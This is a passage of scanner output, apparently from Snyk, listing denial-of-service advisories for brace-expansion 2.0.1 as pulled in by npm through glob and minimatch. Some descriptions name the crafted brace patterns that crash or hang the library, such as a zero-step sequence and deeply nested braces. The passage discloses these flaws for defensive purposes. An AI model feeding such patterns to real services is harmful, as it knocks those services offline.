"packageManager": "npm",
"publicationTime": "2026-06-30T11:38:19.961909Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-08-24T14:04:38.442182Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"pacote@18.0.6",
"sigstore@2.3.1",
"@sigstore/sign@2.3.2",
"make-fetch-happen@13.0.1",
"cacache@18.0.3",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.0.0",
"pacote@21.5.1",
"sigstore@4.1.1",
"@sigstore/sign@4.1.1",
"make-fetch-happen@15.0.6",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-18313044",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"bnbdr"
],
"semver": {
"vulnerable": [
"<1.1.16",
">=2.0.0 <2.1.2",
">=3.0.0 <5.0.8"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.16",
"2.1.2",
"5.0.8"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-08-05T05:35:10.598547Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-16T14:02:43.227595Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-16T14:02:43.227595Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-05T05:35:10.598547Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()` function and its recursive `expand_` helper, which cap the number of results via the `max` option but do not bound the length of each result string. An attacker can crash the Node process with a fatal, uncatchable out-of-memory error by supplying a pattern that chains many brace groups, such as `{a,b}` repeated, keeping the result count under `max` while each result grows with the group count so total output scales unbounded. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through `minimatch` or `glob` brace patterns.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing small explicit `max` and `maxLength` options to `expand()`, bounding both the number of results and the length of each so total output stays limited.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.8 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5)\n",
"epssDetails": {
"percentile": "0.49122",
"probability": "0.00643",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-14257"
],
"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-mh99-v99m-4gvg"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-07-26T09:53:40.727617Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-07-23T15:49:26Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-07-26T09:53:40.907374Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-16T14:02:43.227595Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"pacote@18.0.6",
"sigstore@2.3.1",
"@sigstore/sign@2.3.2",
"make-fetch-happen@13.0.1",
"cacache@18.0.3",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.0.0",
"pacote@21.5.1",
"sigstore@4.1.1",
"@sigstore/sign@4.1.1",
"make-fetch-happen@15.0.6",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-18512280",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"Alessio Della Libera"
],
"semver": {
"vulnerable": [
"<1.1.18",
">=2.0.0 <2.1.4",
">=3.0.0 <3.0.6",
">=4.0.0 <5.0.9"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.18",
"2.1.4",
"3.0.6",
"5.0.9"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-08-04T05:26:55.391275Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-25T21:42:52.694864Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-25T21:42:52.694864Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-04T05:26:55.391275Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()`, `expand_()`, `combine()`, and `expandSequence()` functions, which bound the accumulator where results are combined but not the intermediate arrays that feed it. An attacker can crash the process with an uncatchable out-of-memory error, or stall the event loop for minutes, by supplying a pattern with many comma-separated alternatives that each receive an independent `maxLength` allowance and accumulate without a cumulative limit, or a padded sequence whose generation ignores `maxLength` and does work proportional to `max * width`. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through a glob or pattern-matching library.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing an explicitly small `max` together with a small `maxLength` to `expand()`, bounding both the result count and length, since a small `maxLength` alone is insufficient on affected versions where it is applied per alternative rather than cumulatively.\r\n\r\n**Note:** This is a bypass of the fix for the vulnerability described in [CVE-2026-14257](https://security.snyk.io/vuln/SNYK-JS-BRACEEXPANSION-18313044).\n## Remediation\nUpgrade `brace-expansion` to version 1.1.18, 2.1.4, 3.0.6, 5.0.9 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031)\n",
"epssDetails": {
"percentile": "0.48810",
"probability": "0.00647",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-69152"
],
"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-rgw5-rvv9-x895"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-08-03T18:50:29.684875Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-08-03T16:35:32Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-08-03T18:50:29.862827Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-25T21:42:52.694864Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"pacote@18.0.6",
"sigstore@2.3.1",
"@sigstore/sign@2.3.2",
"make-fetch-happen@13.0.1",
"cacache@18.0.3",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.0.0",
"pacote@21.5.1",
"sigstore@4.1.1",
"@sigstore/sign@4.1.1",
"make-fetch-happen@15.0.6",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-20244948",
"title": "Uncontrolled Recursion",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Gareth Jones",
"Jeremy Katz"
],
"semver": {
"vulnerable": [
"<1.1.20",
">=2.0.0 <2.1.6",
">=3.0.0 <3.0.8",
">=4.0.0 <5.0.11"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.20",
"2.1.6",
"3.0.8",
"5.0.11"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 6.5,
"modificationTime": "2026-10-09T05:49:36.917866Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-10-09T05:49:37.555149Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-09T05:49:37.555149Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-09T05:49:36.917866Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via uncontrolled recursion in `expand_` when processing deeply nested brace patterns. An attacker can supply approximately 6 KB of deeply nested braces (e.g., `{` repeated ~3,200 times followed by `a,b` and the matching `}` characters) to exhaust the native call stack and crash the process with a `RangeError: Maximum call stack size exceeded`. The `max` and `maxLength` bounds do not prevent this because the stack is exhausted during recursive descent into sub-expansions, before the result set grows.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.20, 2.1.6, 3.0.8, 5.0.11 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db)\n",
"epssDetails": {
"percentile": "0.26155",
"probability": "0.00350",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-102278"
],
"CWE": [
"CWE-674"
],
"GHSA": [
"GHSA-qhr7-859c-m2p7"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-09-29T07:28:47.469361Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-28T23:27:22Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-29T07:28:47.672458Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-10-09T05:49:37.555149Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"pacote@18.0.6",
"sigstore@2.3.1",
"@sigstore/sign@2.3.2",
"make-fetch-happen@13.0.1",
"cacache@18.0.3",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.0.0",
"pacote@21.5.1",
"sigstore@4.1.1",
"@sigstore/sign@4.1.1",
"make-fetch-happen@15.0.6",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-20244952",
"title": "Uncontrolled Recursion",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"baeseungwon1010",
"Jeremy Katz"
],
"semver": {
"vulnerable": [
"<1.1.19",
">=2.0.0 <2.1.5",
">=3.0.0 <3.0.7",
">=4.0.0 <5.0.10"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.19",
"2.1.5",
"3.0.7",
"5.0.10"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p",
"title": "Maintainer's Advisory"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-09-29T05:44:15.508690Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-29T19:40:12.310972Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-29T19:40:12.310972Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-29T05:44:15.508690Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via two distinct stack-exhaustion paths in `parseCommaParts`. In the first, the function recurses on the remainder of the string once per brace group, so a chain of approximately 7,000 groups (~29 KB of input) exhausts the native call stack and throws a `RangeError`. In the second, `push.apply` passes one argument per element, meaning a single large comma-separated array inside a brace group overflows the stack at a recursion depth of exactly one, requiring roughly 125,000 comma-separated elements. Neither the `max` nor `maxLength` options can bound either path because the crash occurs during parsing, before any expansion takes place.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.19, 2.1.5, 3.0.7, 5.0.10 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3)\n- [Maintainer's Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p)\n",
"epssDetails": {
"percentile": "0.26155",
"probability": "0.00350",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-102276"
],
"CWE": [
"CWE-674"
],
"GHSA": [
"GHSA-6j4f-fj2g-mc7p"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-09-29T07:36:51.075985Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-28T23:27:21Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-29T07:36:51.235635Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-29T19:40:12.310972Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"pacote@18.0.6",
"sigstore@2.3.1",
"@sigstore/sign@2.3.2",
"make-fetch-happen@13.0.1",
"cacache@18.0.3",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.0.0",
"pacote@21.5.1",
"sigstore@4.1.1",
"@sigstore/sign@4.1.1",
"make-fetch-happen@15.0.6",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-15789759",
"title": "Infinite loop",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Subhash Dasyam"
],
"semver": {
"vulnerable": [
"<1.1.13",
">=2.0.0 <2.0.3",
">=3.0.0 <3.0.2",
">=4.0.0 <5.0.5"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.13",
"2.0.3",
"3.0.2",
"5.0.5"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L107-L113",
"title": "Vulnerable Code"
},
{
"url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L184",
"title": "Vulnerable Code"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 6.5,
"modificationTime": "2026-04-03T12:57:19.951777Z"
},
{
"assigner": "NVD",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-04-22T17:49:48.167901Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-25T02:01:42.918000Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-25T02:01:42.918000Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-04-03T12:57:19.951777Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "NVD",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-04-22T17:49:48.167901Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Infinite loop through the `expand` function when processing a brace pattern with a zero step value. An attacker can cause the process to hang and exhaust system memory by supplying specially crafted input, such as `{1..2..0}`. This can lead to significant resource consumption and denial of service. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by sanitizing strings passed to `expand` to ensure a step value of `0` is not used.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.13, 2.0.3, 3.0.2, 5.0.5 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184)\n",
"epssDetails": {
"percentile": "0.47050",
"probability": "0.00613",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-33750"
],
"CWE": [
"CWE-835"
],
"GHSA": [
"GHSA-f886-m6hf-6m8v"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-03-27T07:45:56.244707Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-03-26T18:29:42Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-03-27T07:45:56.429154Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-25T02:01:42.918000Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmpublish@9.0.9",
"sigstore@2.3.1",
"@sigstore/sign@2.3.2",
"make-fetch-happen@13.0.1",
"cacache@18.0.3",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmpublish@11.2.1",
"sigstore@4.1.1",
"@sigstore/sign@4.1.1",
"make-fetch-happen@15.0.6",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-17706650",
"title": "Inefficient Algorithmic Complexity",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Unknown"
],
"semver": {
"vulnerable": [
"<1.1.16",
">=2.0.0 <2.1.2",
">=3.0.0 <5.0.7"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.16",
"2.1.2",
"5.0.7"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-07-01T06:56:21.683579Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-08-24T14:04:38.442182Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-24T14:04:38.442182Z"
},
{
"type": "secondary",
